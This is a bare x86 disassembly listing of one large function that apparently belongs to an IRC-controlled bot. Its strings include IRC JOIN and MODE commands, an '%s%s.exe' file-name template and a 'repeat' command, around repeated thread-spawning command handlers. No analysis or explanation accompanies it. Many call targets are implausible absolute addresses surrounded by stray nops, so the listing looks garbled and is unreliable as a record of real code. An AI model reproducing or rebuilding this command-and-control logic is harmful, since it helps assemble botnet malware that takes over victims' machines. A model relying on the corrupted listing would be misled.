lea eax, [ebp+var_1234]
mov [ebp+var_1124], edi
push eax
push [ebp+var_1130]
push esi
call sub_40A9FA
pop ecx
push eax
lea eax, [ebp+var_2C4]
push offset unk_42A8D8
push eax
call sub_41C006
push ebx
lea eax, [ebp+var_2C4]
push 18h
push eax
call sub_40B3AD
add esp, 24h
mov [ebp+var_112C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_123C]
push ebx
push eax
push offset loc_410D69
push ebx
push ebx
nop
call near ptr 26805C5h
mov ecx, [ebp+var_112C]
imul ecx, 234h
cmp eax, ebx
mov dword_43C254[ecx], eax
jz short loc_407B9E
loc_407B88: ; CODE XREF: sub_401AC7+60D5j
cmp [ebp+var_111C], ebx
jnz loc_403D2D
push 32h
call near ptr 268051Bh
nop
jmp short loc_407B88
; ---------------------------------------------------------------------------
loc_407B9E: ; CODE XREF: sub_401AC7+60BFj
nop
call near ptr 2680DCDh
push eax
push offset unk_42A894
jmp loc_403D1E
; ---------------------------------------------------------------------------
loc_407BAF: ; CODE XREF: sub_401AC7+4D98j
; sub_401AC7+4DAFj
push 0FFh
lea eax, [ebp+var_287C]
push edi
push eax
call sub_41BD70
push 0FFh
lea eax, [ebp+var_277C]
push [ebp+arg_18]
push eax
call sub_41BD70
push [ebp+arg_0]
mov [ebp+var_2678], ebx
call sub_41BEF9
mov [ebp+var_2674], eax
mov eax, [ebp+esi+var_80]
add esp, 1Ch
cmp eax, ebx
jz short loc_407C08
push 10h
push ebx
push eax
call sub_41C52E
add esp, 0Ch
mov [ebp+var_266C], eax
jmp short loc_407C0E
; ---------------------------------------------------------------------------
loc_407C08: ; CODE XREF: sub_401AC7+612Bj
mov [ebp+var_266C], ebx
loc_407C0E: ; CODE XREF: sub_401AC7+613Fj
mov esi, [ebp+esi+var_7C]
cmp esi, ebx
jz short loc_407C25
push esi
call sub_41BEF9
pop ecx
mov [ebp+var_2670], eax
jmp short loc_407C2B
; ---------------------------------------------------------------------------
loc_407C25: ; CODE XREF: sub_401AC7+614Dj
mov [ebp+var_2670], ebx
loc_407C2B: ; CODE XREF: sub_401AC7+615Cj
movzx eax, [ebp+var_8FB]
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_88]
mov [ebp+var_2668], eax
lea eax, [ebp+var_28FC]
mov [ebp+var_2900], esi
push eax
call sub_41BD70
mov eax, [ebp+var_4]
push [ebp+arg_18]
mov [ebp+var_2660], eax
mov eax, [ebp+var_8]
mov [ebp+var_2664], eax
push edi
lea eax, [ebp+var_2C4]
push offset dword_42A868
push eax
call sub_41C006
push esi
lea eax, [ebp+var_2C4]
push 1Dh
push eax
call sub_40B3AD
add esp, 28h
mov [ebp+var_267C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_2900]
push ebx
push eax
push offset loc_416754
push ebx
push ebx
call near ptr 26805C5h
nop
mov ecx, [ebp+var_267C]
imul ecx, 234h
cmp eax, ebx
mov dword_43C254[ecx], eax
jz short loc_407CD9
loc_407CC3: ; CODE XREF: sub_401AC7+6210j
cmp [ebp+var_265C], ebx
jnz loc_4071DD
push 32h
call near ptr 268051Bh
nop
jmp short loc_407CC3
; ---------------------------------------------------------------------------
loc_407CD9: ; CODE XREF: sub_401AC7+61FAj
call near ptr 2680DCDh
nop
push eax
push offset unk_42A828
jmp loc_4071CE
; ---------------------------------------------------------------------------
loc_407CEA: ; CODE XREF: sub_401AC7+4D6Aj
; sub_401AC7+4D81j
push 7Fh
lea eax, [ebp+var_3494]
pop esi
push esi
push edi
push eax
call sub_41BD70
push esi
lea eax, [ebp+var_3414]
push [ebp+arg_18]
push eax
call sub_41BD70
push esi
lea eax, [ebp+var_3394]
push [ebp+arg_0]
push eax
call sub_41BD70
push esi
lea eax, [ebp+var_3314]
push [ebp+var_88]
push eax
call sub_41BD70
mov eax, [ebp+var_4]
push [ebp+arg_0]
mov esi, [ebp+arg_4]
mov [ebp+var_3290], eax
mov eax, [ebp+var_8]
push [ebp+arg_18]
mov [ebp+var_328C], eax
lea eax, [ebp+var_2C4]
push edi
push offset unk_42A7EC
push eax
mov [ebp+var_3498], esi
call sub_41C006
add esp, 44h
lea eax, [ebp+var_2C4]
push ebx
push 12h
push eax
call sub_40B3AD
add esp, 0Ch
mov [ebp+var_3294], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3498]
push ebx
push eax
push offset word_4155D6
push ebx
push ebx
nop
call near ptr 26805C5h
mov ecx, [ebp+var_3294]
imul ecx, 234h
cmp eax, ebx
mov dword_43C254[ecx], eax
jz short loc_407DC1
loc_407DAB: ; CODE XREF: sub_401AC7+62F8j
cmp [ebp+var_3288], ebx
jnz loc_4071DD
push 32h
call near ptr 268051Bh
nop
jmp short loc_407DAB
; ---------------------------------------------------------------------------
loc_407DC1: ; CODE XREF: sub_401AC7+62E2j
nop
call near ptr 2680DCDh
push eax
push offset unk_42A7B4
jmp loc_4071CE
; ---------------------------------------------------------------------------
loc_407DD2: ; CODE XREF: sub_401AC7+4C3Dj
; sub_401AC7+4C54j
push 7Fh
lea eax, [ebp+var_306C]
pop esi
push esi
push edi
push eax
call sub_41BD70
push esi
lea eax, [ebp+var_2FEC]
push [ebp+arg_18]
push eax
call sub_41BD70
push esi
lea eax, [ebp+var_2F6C]
push [ebp+arg_0]
push eax
call sub_41BD70
push esi
lea eax, [ebp+var_2EEC]
push [ebp+var_88]
push eax
call sub_41BD70
mov eax, [ebp+var_4]
push [ebp+arg_0]
mov esi, [ebp+arg_4]
mov [ebp+var_2E68], eax
mov eax, [ebp+var_8]
push [ebp+arg_18]
mov [ebp+var_2E64], eax
lea eax, [ebp+var_2C4]
push edi
push offset unk_42A784
push eax
mov [ebp+var_3070], esi
call sub_41C006
add esp, 44h
lea eax, [ebp+var_2C4]
push ebx
push 0Eh
push eax
call sub_40B3AD
add esp, 0Ch
mov [ebp+var_2E6C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3070]
push ebx
push eax
push offset dword_414310
push ebx
push ebx
nop
call near ptr 26805C5h
mov ecx, [ebp+var_2E6C]
imul ecx, 234h
cmp eax, ebx
mov dword_43C254[ecx], eax
jz short loc_407EA9
loc_407E93: ; CODE XREF: sub_401AC7+63E0j
cmp [ebp+var_2E60], ebx
jnz loc_4071DD
push 32h
nop
call near ptr 268051Bh
jmp short loc_407E93
; ---------------------------------------------------------------------------
loc_407EA9: ; CODE XREF: sub_401AC7+63CAj
call near ptr 2680DCDh
nop
push eax
push offset unk_42A74C
jmp loc_4071CE
; ---------------------------------------------------------------------------
loc_407EBA: ; CODE XREF: sub_401AC7+4B14j
; sub_401AC7+4B2Bj ...
push 7Fh
lea eax, [ebp+var_3CE8]
pop esi
push esi
push edi
push eax
call sub_41BD70
push esi
lea eax, [ebp+var_3C68]
push [ebp+arg_18]
push eax
call sub_41BD70
push esi
lea eax, [ebp+var_3BE8]
push [ebp+arg_0]
push eax
call sub_41BD70
push esi
lea eax, [ebp+var_3B68]
push [ebp+var_88]
push eax
call sub_41BD70
push 20h
lea eax, [ebp+var_3AE8]
push [ebp+arg_8]
push eax
call sub_41BD70
mov eax, [ebp+var_4]
push [ebp+arg_0]
mov esi, [ebp+arg_4]
mov [ebp+var_3A68], eax
mov eax, [ebp+var_8]
push [ebp+arg_18]
mov [ebp+var_3A64], eax
lea eax, [ebp+var_2C4]
push edi
push offset unk_42A71C
push eax
mov [ebp+var_3CF0], esi
call sub_41C006
add esp, 50h
lea eax, [ebp+var_2C4]
push ebx
push 0Dh
push eax
call sub_40B3AD
add esp, 0Ch
mov [ebp+var_3CEC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3CF0]
push ebx
push eax
push offset byte_41359D
push ebx
push ebx
nop
call near ptr 26805C5h
mov ecx, [ebp+var_3CEC]
imul ecx, 234h
cmp eax, ebx
mov dword_43C254[ecx], eax
jz short loc_407FA2
loc_407F8C: ; CODE XREF: sub_401AC7+64D9j
cmp [ebp+var_3A60], ebx
jnz loc_4071DD
push 32h
call near ptr 268051Bh
nop
jmp short loc_407F8C
; ---------------------------------------------------------------------------
loc_407FA2: ; CODE XREF: sub_401AC7+64C3j
nop
call near ptr 2680DCDh
push eax
push offset unk_42A6E4
jmp loc_4071CE
; ---------------------------------------------------------------------------
loc_407FB3: ; CODE XREF: sub_401AC7+4AE6j
; sub_401AC7+4AFDj
push 7Fh
lea eax, [ebp+var_177C]
push edi
push eax
call sub_41BD70
push [ebp+arg_18]
call sub_41BEF9
push 3Fh
mov [ebp+var_162C], eax
push [ebp+arg_0]
lea eax, [ebp+var_16FC]
push eax
call sub_41BD70
mov esi, [ebp+esi+var_80]
add esp, 1Ch
cmp esi, ebx
jz short loc_407FFE
push 3Fh
lea eax, [ebp+var_16BC]
push esi
push eax
call sub_41BD70
add esp, 0Ch
loc_407FFE: ; CODE XREF: sub_401AC7+6523j
lea eax, [ebp+var_16FC]
mov [ebp+var_1628], 1
push eax
lea eax, [ebp+var_177C]
push [ebp+var_162C]
push eax
lea eax, [ebp+var_2C4]
push offset dword_42A6B4
push eax
call sub_41C006
push ebx
lea eax, [ebp+var_2C4]
push 1Fh
push eax
call sub_40B3AD
add esp, 20h
mov [ebp+var_1624], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1780]
push ebx
push eax
push offset sub_4017E7
push ebx
push ebx
nop
call near ptr 26805C5h
mov ecx, [ebp+var_1624]
imul ecx, 234h
cmp eax, ebx
mov dword_43C254[ecx], eax
jz short loc_40808A
loc_408074: ; CODE XREF: sub_401AC7+65C1j
cmp [ebp+var_1620], ebx
jnz loc_406C42
push 32h
nop
call near ptr 268051Bh
jmp short loc_408074
; ---------------------------------------------------------------------------
loc_40808A: ; CODE XREF: sub_401AC7+65ABj
nop
call near ptr 2680DCDh
push eax
push offset dword_42A678
jmp loc_406C33
; ---------------------------------------------------------------------------
loc_40809B: ; CODE XREF: sub_401AC7+4AA6j
; sub_401AC7+4ABDj
push [ebp+arg_18]
call sub_41BEF9
cmp eax, ebx
pop ecx
mov [ebp+var_1D68], eax
jle loc_408188
mov esi, 80h
push edi
lea eax, [ebp+var_1EF0]
push esi
push eax
call sub_41C100
xor eax, eax
cmp [ebp+var_8EE], bl
push [ebp+var_88]
setnz al
mov [ebp+var_1D64], eax
mov eax, [ebp+arg_4]
mov [ebp+var_1EF4], eax
lea eax, [ebp+var_1DF0]
push esi
push eax
call sub_41C100
mov eax, [ebp+var_4]
push [ebp+arg_18]
mov [ebp+var_1D60], eax
mov eax, [ebp+var_8]
mov [ebp+var_1D5C], eax
push edi
push offset unk_42A64C
lea eax, [ebp+var_2C4]
push 200h
push eax
call sub_41C100
push ebx
lea eax, [ebp+var_2C4]
push 15h
push eax
call sub_40B3AD
add esp, 38h
mov [ebp+var_1D70], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1EF4]
push ebx
push eax
push offset dword_4139E4
push ebx
push ebx
call near ptr 26805C5h
nop
mov ecx, [ebp+var_1D70]
imul ecx, 234h
cmp eax, ebx
mov dword_43C254[ecx], eax
jz short loc_408177
loc_408165: ; CODE XREF: sub_401AC7+66AEj
cmp [ebp+var_1D58], ebx
jnz short loc_4081DE
push 32h
nop
call near ptr 268051Bh
jmp short loc_408165
; ---------------------------------------------------------------------------
loc_408177: ; CODE XREF: sub_401AC7+669Cj
nop
call near ptr 2680DCDh
push eax
push offset unk_42A614
jmp loc_406E56
; ---------------------------------------------------------------------------
loc_408188: ; CODE XREF: sub_401AC7+65E5j
push offset unk_42A5DC
jmp loc_406E6F
; ---------------------------------------------------------------------------
loc_408192: ; CODE XREF: sub_401AC7+4A78j
; sub_401AC7+4A8Fj
push [ebp+arg_18]
push edi
nop
call near ptr 26B0B7Eh
test eax, eax
jz short loc_4081BF
push [ebp+arg_18]
lea eax, [ebp+var_2C4]
push edi
push offset unk_42A5B8
push 200h
push eax
call sub_41C100
add esp, 14h
jmp short loc_4081DE
; ---------------------------------------------------------------------------
loc_4081BF: ; CODE XREF: sub_401AC7+66D7j
push offset dword_42A5AC
call sub_41864A
push eax
lea eax, [ebp+var_2C4]
push 200h
push eax
call sub_41C100
add esp, 10h
loc_4081DE: ; CODE XREF: sub_401AC7+20C9j
; sub_401AC7+2E99j ...
cmp [ebp+var_8], ebx
jnz loc_40830C
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
loc_4081FB: ; CODE XREF: sub_401AC7+5731j
call sub_409862
add esp, 14h
jmp loc_40830C
; ---------------------------------------------------------------------------
loc_408208: ; CODE XREF: sub_401AC7+4A4Aj
; sub_401AC7+4A61j
push edi
lea eax, [ebp+var_3F08]
push 104h
push eax
call sub_41C100
add esp, 0Ch
cmp [ebp+var_C], ebx
jz short loc_408242
push [ebp+arg_18]
push [ebp+var_C]
call sub_41C080
pop ecx
cmp eax, ebx
pop ecx
jz short loc_408242
push eax
lea eax, [ebp+var_3E04]
push eax
call sub_41C006
pop ecx
pop ecx
loc_408242: ; CODE XREF: sub_401AC7+6759j
; sub_401AC7+676Aj
push [ebp+var_88]
lea eax, [ebp+var_3F88]
push 80h
push eax
call sub_41C100
mov eax, [ebp+arg_4]
mov [ebp+var_3F8C], eax
mov eax, [ebp+var_4]
mov [ebp+var_3CFC], eax
mov eax, [ebp+var_8]
mov [ebp+var_3CF8], eax
lea eax, [ebp+var_3E04]
push eax
lea eax, [ebp+var_3F08]
push eax
push offset unk_42A57C
lea eax, [ebp+var_2C4]
push 200h
push eax
call sub_41C100
push ebx
lea eax, [ebp+var_2C4]
push 24h
push eax
call sub_40B3AD
add esp, 2Ch
mov [ebp+var_3D00], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3F8C]
push ebx
push eax
push offset byte_416FFF
push ebx
push ebx
nop
call near ptr 26805C5h
mov ecx, [ebp+var_3D00]
imul ecx, 234h
cmp eax, ebx
mov dword_43C254[ecx], eax
jz short loc_4082F1
loc_4082DF: ; CODE XREF: sub_401AC7+6828j
cmp [ebp+var_3CF4], ebx
jnz short loc_40830C
push 32h
nop
call near ptr 268051Bh
jmp short loc_4082DF
; ---------------------------------------------------------------------------
loc_4082F1: ; CODE XREF: sub_401AC7+6816j
nop
call near ptr 2680DCDh
push eax
push offset unk_42A540
loc_4082FD: ; CODE XREF: sub_401AC7+900j
; sub_401AC7+A3Bj ...
lea eax, [ebp+var_2C4]
push eax
call sub_41C006
add esp, 0Ch
loc_40830C: ; CODE XREF: sub_401AC7+7BCj
; sub_401AC7+927j ...
push 1
pop esi
jmp loc_406C66
; ---------------------------------------------------------------------------
loc_408314: ; CODE XREF: sub_401AC7+4A1Cj
; sub_401AC7+4A33j
push 44h
lea eax, [ebp+var_668]
pop esi
push esi
push ebx
push eax
call sub_41BD10
push 1
mov [ebp+var_668], esi
pop esi
mov [ebp+var_638], bx
push edi
mov [ebp+var_63C], esi
call sub_41BEF9
add esp, 10h
cmp eax, esi
jnz short loc_408351
mov [ebp+var_638], 5
loc_408351: ; CODE XREF: sub_401AC7+687Fj
cmp [ebp+var_C], ebx
jz loc_406C42
push [ebp+arg_18]
push [ebp+var_C]
call sub_41C080
mov edi, eax
pop ecx
cmp edi, ebx
pop ecx
jz loc_406C42
lea eax, [ebp+var_E34]
push eax
lea eax, [ebp+var_668]
push eax
push ebx
push ebx
push 28h
push esi
push ebx
push ebx
push edi
push ebx
nop
call near ptr 26603BDh
test eax, eax
jnz short loc_40839C
push offset unk_42A51C
jmp loc_40851D
; ---------------------------------------------------------------------------
loc_40839C: ; CODE XREF: sub_401AC7+68C9j
push edi
push offset dword_42A500
jmp loc_406C33
; ---------------------------------------------------------------------------
loc_4083A7: ; CODE XREF: sub_401AC7+49EEj
; sub_401AC7+4A05j
push [ebp+arg_18]
push offset a1221 ; "1221"
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_408518
lea eax, [ebp+var_4BF8]
push eax
push 104h
call near ptr 26B0000h
nop
push 0FFh
lea eax, [ebp+var_25D4]
push edi
push eax
call sub_41BD70
lea eax, [ebp+var_17D4]
push eax
call sub_40AB6A
push eax
lea eax, [ebp+var_4BF8]
push eax
lea eax, [ebp+var_24D4]
push offset aSS_exe ; "%s%s.exe"
push eax
call sub_41C006
mov eax, [ebp+esi+var_84]
add esp, 20h
cmp eax, ebx
mov [ebp+var_23D0], 1
mov [ebp+var_23CC], ebx
jz short loc_408439
push 10h
push ebx
push eax
call sub_41C52E
add esp, 0Ch
mov [ebp+var_23C4], eax
jmp short loc_40843F
; ---------------------------------------------------------------------------
loc_408439: ; CODE XREF: sub_401AC7+695Cj
mov [ebp+var_23C4], ebx
loc_40843F: ; CODE XREF: sub_401AC7+6970j
mov esi, [ebp+esi+var_80]
cmp esi, ebx
jz short loc_408456
push esi
call sub_41BEF9
pop ecx
mov [ebp+var_23C8], eax
jmp short loc_40845C
; ---------------------------------------------------------------------------
loc_408456: ; CODE XREF: sub_401AC7+697Ej
mov [ebp+var_23C8], ebx
loc_40845C: ; CODE XREF: sub_401AC7+698Dj
movzx eax, [ebp+var_8FB]
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_88]
mov [ebp+var_23C0], eax
lea eax, [ebp+var_2654]
mov [ebp+var_2658], esi
push eax
call sub_41BD70
mov eax, [ebp+var_4]
push edi
mov [ebp+var_23B8], eax
mov eax, [ebp+var_8]
mov [ebp+var_23BC], eax
lea eax, [ebp+var_2C4]
push offset dword_42A4C8
push eax
call sub_41C006
push esi
lea eax, [ebp+var_2C4]
push 1Eh
push eax
call sub_40B3AD
add esp, 24h
mov [ebp+var_23D4], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_2658]
push ebx
push eax
push offset loc_416754
push ebx
push ebx
nop
call near ptr 26805C5h
mov ecx, [ebp+var_23D4]
imul ecx, 234h
cmp eax, ebx
mov dword_43C254[ecx], eax
jz short loc_408507
loc_4084F1: ; CODE XREF: sub_401AC7+6A3Ej
cmp [ebp+var_23B4], ebx
jnz loc_406C42
push 32h
nop
call near ptr 268051Bh
jmp short loc_4084F1
; ---------------------------------------------------------------------------
loc_408507: ; CODE XREF: sub_401AC7+6A28j
nop
call near ptr 2680DCDh
push eax
push offset dword_42A48C
jmp loc_406C33
; ---------------------------------------------------------------------------
loc_408518: ; CODE XREF: sub_401AC7+68F1j
push offset dword_42A444
loc_40851D: ; CODE XREF: sub_401AC7+2E40j
; sub_401AC7+447Bj ...
lea eax, [ebp+var_2C4]
push eax
call sub_41C006
pop ecx
pop ecx
jmp loc_406C42
; ---------------------------------------------------------------------------
loc_408530: ; CODE XREF: sub_401AC7+49C0j
; sub_401AC7+49D7j
push [ebp+var_8C]
push offset dword_42CCD4
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_401F6C
cmp [ebp+var_C], ebx
jz loc_401F6C
push [ebp+arg_18]
push [ebp+var_C]
call sub_41C080
push eax
lea eax, [ebp+var_2C4]
push [ebp+var_88]
push [ebp+var_8C]
push [ebp+var_90]
push offset dword_42A434
push eax
call sub_41C006
lea eax, [ebp+var_2C4]
push 1FFh
push eax
push [ebp+arg_0]
call sub_41BD70
push edi
call sub_41BEF9
add esp, 30h
test eax, eax
jle short loc_4085B7
push edi
call sub_41BEF9
imul eax, 3E8h
pop ecx
push eax
call near ptr 268051Bh
nop
loc_4085B7: ; CODE XREF: sub_401AC7+6ADAj
push offset dword_42A420
call sub_415CEE
mov eax, [ebp+arg_24]
pop ecx
inc eax
jmp loc_401F6F
; ---------------------------------------------------------------------------
loc_4085CB: ; CODE XREF: sub_401AC7+4992j
; sub_401AC7+49A9j
push [ebp+var_8C]
push offset dword_42CCD4
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_401F6C
cmp [ebp+var_C], ebx
jz loc_409643
push [ebp+arg_18]
push [ebp+var_C]
call sub_41C080
mov esi, eax
mov eax, [ebp+arg_18]
inc eax
push offset aRepeat ; "repeat"
push eax
call sub_41C7E0
add esp, 10h
test eax, eax
push esi
jz short loc_408687
push [ebp+var_88]
lea eax, [ebp+var_2C4]
push [ebp+var_8C]
push [ebp+var_90]
push offset dword_42A434
push eax
call sub_41C006
lea eax, [ebp+var_2C4]
push 1FFh
push eax
push [ebp+arg_0]
call sub_41BD70
push esi
lea eax, [ebp+var_2C4]
push offset unk_42A408
push eax
call sub_41C006
lea eax, [ebp+var_2C4]
push eax
call sub_415CEE
push edi
call sub_41BEF9
add esp, 38h
test eax, eax
jle loc_409643
push edi
call sub_41BEF9
add eax, [ebp+arg_24]
pop ecx
jmp loc_401F6F
; ---------------------------------------------------------------------------
loc_408687: ; CODE XREF: sub_401AC7+6B49j
lea eax, [ebp+var_2C4]
push offset unk_42A3D4
push eax
call sub_41C006
add esp, 0Ch
jmp loc_408FA0
; ---------------------------------------------------------------------------
loc_4086A0: ; CODE XREF: sub_401AC7+4964j
; sub_401AC7+497Bj
push 7Fh
lea eax, [ebp+var_2218]
push edi
push eax
call sub_41BD70
push 7Fh
lea eax, [ebp+var_2198]
push [ebp+arg_18]
push eax
call sub_41BD70
push 7Fh
lea eax, [ebp+var_2118]
push [ebp+var_88]
push eax
call sub_41BD70
mov eax, [ebp+var_4]
push [ebp+arg_18]
mov esi, [ebp+arg_4]
mov [ebp+var_2094], eax
mov eax, [ebp+var_8]
push edi
mov [ebp+var_2090], eax
lea eax, [ebp+var_2C4]
push offset unk_42A3A0
push eax
mov [ebp+var_221C], esi
call sub_41C006
push ebx
lea eax, [ebp+var_2C4]
push 0Fh
push eax
call sub_40B3AD
add esp, 40h
mov [ebp+var_2098], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_221C]
push ebx
push eax
push offset word_414F0A
push ebx
push ebx
nop
call near ptr 26805C5h
mov ecx, [ebp+var_2098]
imul ecx, 234h
cmp eax, ebx
mov dword_43C254[ecx], eax
jz short loc_408761
loc_40874B: ; CODE XREF: sub_401AC7+6C98j
cmp [ebp+var_208C], ebx
jnz loc_40884A
push 32h
nop
call near ptr 268051Bh
jmp short loc_40874B
; ---------------------------------------------------------------------------
loc_408761: ; CODE XREF: sub_401AC7+6C82j
nop
call near ptr 2680DCDh
push eax
push offset unk_42A364
jmp loc_40883B
; ---------------------------------------------------------------------------
loc_408772: ; CODE XREF: sub_401AC7+4936j
; sub_401AC7+494Dj
push 7Fh
lea eax, [ebp+var_23AC]
push edi
push eax
call sub_41BD70
push 7Fh
lea eax, [ebp+var_232C]
push [ebp+arg_18]
push eax
call sub_41BD70
push 7Fh
lea eax, [ebp+var_22AC]
push [ebp+var_88]
push eax
call sub_41BD70
mov eax, [ebp+var_4]
push [ebp+arg_18]
mov esi, [ebp+arg_4]
mov [ebp+var_2228], eax
mov eax, [ebp+var_8]
push edi
mov [ebp+var_2224], eax
lea eax, [ebp+var_2C4]
push offset dword_42A338
push eax
mov [ebp+var_23B0], esi
call sub_41C006
push ebx
lea eax, [ebp+var_2C4]
push 11h
push eax
call sub_40B3AD
add esp, 40h
mov [ebp+var_222C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_23B0]
push ebx
push eax
push offset dword_4146B8
push ebx
push ebx
call near ptr 26805C5h
nop
mov ecx, [ebp+var_222C]
imul ecx, 234h
cmp eax, ebx
mov dword_43C254[ecx], eax
jz short loc_40882F
loc_40881D: ; CODE XREF: sub_401AC7+6D66j
cmp [ebp+var_2220], ebx
jnz short loc_40884A
push 32h
nop
call near ptr 268051Bh
jmp short loc_40881D
; ---------------------------------------------------------------------------
loc_40882F: ; CODE XREF: sub_401AC7+6D54j
call near ptr 2680DCDh
nop
push eax
push offset dword_42A2FC
loc_40883B: ; CODE XREF: sub_401AC7+6CA6j
lea eax, [ebp+var_2C4]
push eax
call sub_41C006
add esp, 0Ch
loc_40884A: ; CODE XREF: sub_401AC7+6C8Aj
; sub_401AC7+6D5Cj
cmp [ebp+var_8], ebx
jnz loc_403FA2
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push esi
jmp loc_403F9A
; ---------------------------------------------------------------------------
loc_40886A: ; CODE XREF: sub_401AC7+4908j
; sub_401AC7+491Fj
push [ebp+arg_18]
lea eax, [ebp+var_2C4]
push offset dword_42A2F4
push eax
call sub_41C006
push edi
call sub_41BEF9
add esp, 10h
loc_408887: ; CODE XREF: sub_401AC7+6E27j
test eax, eax
jle loc_409643
push edi
call sub_41BEF9
cmp eax, 400h
pop ecx
jge loc_409643
loc_4088A1: ; CODE XREF: sub_401AC7+78B5j
lea eax, [ebp+var_2C4]
push eax
push offset dword_42A2EC
push edi
call sub_41BEF9
imul eax, 234h
pop ecx
push dword_43C24C[eax]
call sub_40981C
jmp loc_4048FA
; ---------------------------------------------------------------------------
loc_4088CA: ; CODE XREF: sub_401AC7+48DAj
; sub_401AC7+48F1j
push [ebp+esi+var_84]
lea eax, [ebp+var_2C4]
push [ebp+arg_18]
push offset dword_42A2E0
push eax
call sub_41C006
push edi
call sub_41BEF9
add esp, 14h
jmp short loc_408887
; ---------------------------------------------------------------------------
loc_4088F0: ; CODE XREF: sub_401AC7+48ACj
; sub_401AC7+48C3j
push [ebp+arg_18]
lea eax, [ebp+var_2C4]
push offset dword_42B898
push eax
call sub_41C006
push edi
call sub_41BEF9
add esp, 10h
test eax, eax
jle loc_409643
push edi
call sub_41BEF9
cmp eax, 400h
pop ecx
jge loc_409643
lea eax, [ebp+var_2C4]
push eax
push offset dword_42A2EC
push edi
call sub_41BEF9
imul eax, 234h
pop ecx
push dword_43C24C[eax]
call sub_40981C
push [ebp+arg_18]
push edi
push offset dword_42A2C4
loc_408954: ; CODE XREF: sub_401AC7+6F14j
; sub_401AC7+6F7Fj ...
call sub_415D62
jmp loc_404227
; ---------------------------------------------------------------------------
loc_40895E: ; CODE XREF: sub_401AC7+487Ej
; sub_401AC7+4895j
cmp [ebp+var_C], ebx
jz loc_409643
push [ebp+arg_18]
push [ebp+var_C]
call sub_41C080
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_40898F
push esi
lea eax, [ebp+var_2C4]
push offset dword_42A2BC
push eax
call sub_41C006
add esp, 0Ch
loc_40898F: ; CODE XREF: sub_401AC7+6EB1j
push edi
call sub_41BEF9
test eax, eax
pop ecx
jle loc_409643
push edi
call sub_41BEF9
cmp eax, 400h
pop ecx
jge loc_409643
lea eax, [ebp+var_2C4]
push eax
push offset dword_42A2EC
push edi
call sub_41BEF9
imul eax, 234h
pop ecx
push dword_43C24C[eax]
call sub_40981C
push esi
push edi
push offset dword_42A2A0
jmp loc_408954
; ---------------------------------------------------------------------------
loc_4089E0: ; CODE XREF: sub_401AC7+4850j
; sub_401AC7+4867j
cmp [ebp+var_C], ebx
jz loc_409643
push [ebp+arg_18]
push [ebp+var_C]
call sub_41C080
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_409643
push edi
call sub_41BEF9
test eax, eax
pop ecx
jle loc_409643
push edi
call sub_41BEF9
cmp eax, 400h
pop ecx
jge loc_409643
push esi
push offset dword_42A2EC
push edi
call sub_41BEF9
imul eax, 234h
pop ecx
push dword_43C24C[eax]
call sub_40981C
push esi
push edi
push offset dword_42A284
jmp loc_408954
; ---------------------------------------------------------------------------
loc_408A4B: ; CODE XREF: sub_401AC7+4822j
; sub_401AC7+4839j
cmp [ebp+var_C], ebx
jz loc_409643
push edi
push [ebp+var_C]
call sub_41C080
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_409643
push esi
push offset aModeS ; "MODE %s\r\n"
push [ebp+arg_4]
call sub_40981C
push esi
push offset unk_42A25C
loc_408A7D: ; CODE XREF: sub_401AC7+7A5Aj
; sub_401AC7+7A73j ...
call sub_415D62
jmp loc_4034AC
; ---------------------------------------------------------------------------
loc_408A87: ; CODE XREF: sub_401AC7+47F4j
; sub_401AC7+480Bj
push [ebp+var_8C]
push offset dword_42CCD4
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_401F6C
push [ebp+arg_18]
push offset dword_42A250
push [ebp+arg_4]
call sub_40981C
push edi
call sub_41BEF9
imul eax, 3E8h
add esp, 10h
push eax
call near ptr 268051Bh
nop
push [ebp+esi+var_84]
push [ebp+arg_18]
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_40981C
push offset dword_42A23C
call sub_415CEE
jmp loc_4034AC
; ---------------------------------------------------------------------------
loc_408AED: ; CODE XREF: sub_401AC7+47C6j
; sub_401AC7+47DDj
cmp [ebp+var_C], ebx
jz loc_409643
push edi
call sub_41B960
push [ebp+arg_8]
mov esi, eax
call sub_41B960
add eax, [ebp+var_C]
push [ebp+arg_18]
lea eax, [eax+esi+2]
push eax
call sub_41C080
mov esi, eax
add esp, 10h
cmp esi, ebx
jz loc_409643
push esi
lea eax, [ebp+var_2C4]
push offset dword_42A96C
push eax
call sub_41C006
push ebx
lea eax, [ebp+var_2C4]
push ebx
push eax
push edi
push [ebp+arg_4]
call sub_409862
push esi
push edi
push offset unk_42A220
call sub_415D62
add esp, 2Ch
jmp loc_409643
; ---------------------------------------------------------------------------
loc_408B5B: ; CODE XREF: sub_401AC7+4798j
; sub_401AC7+47AFj
cmp [ebp+var_C], ebx
jz loc_409643
push edi
call sub_41B960
push [ebp+arg_8]
mov esi, eax
call sub_41B960
add eax, [ebp+var_C]
push [ebp+arg_18]
lea eax, [eax+esi+2]
push eax
call sub_41C080
mov esi, eax
add esp, 10h
cmp esi, ebx
jz loc_409643
push ebx
push ebx
push esi
push edi
push [ebp+arg_4]
call sub_409862
push esi
push edi
push offset unk_42A204
call sub_415D62
add esp, 20h
jmp loc_409643
; ---------------------------------------------------------------------------
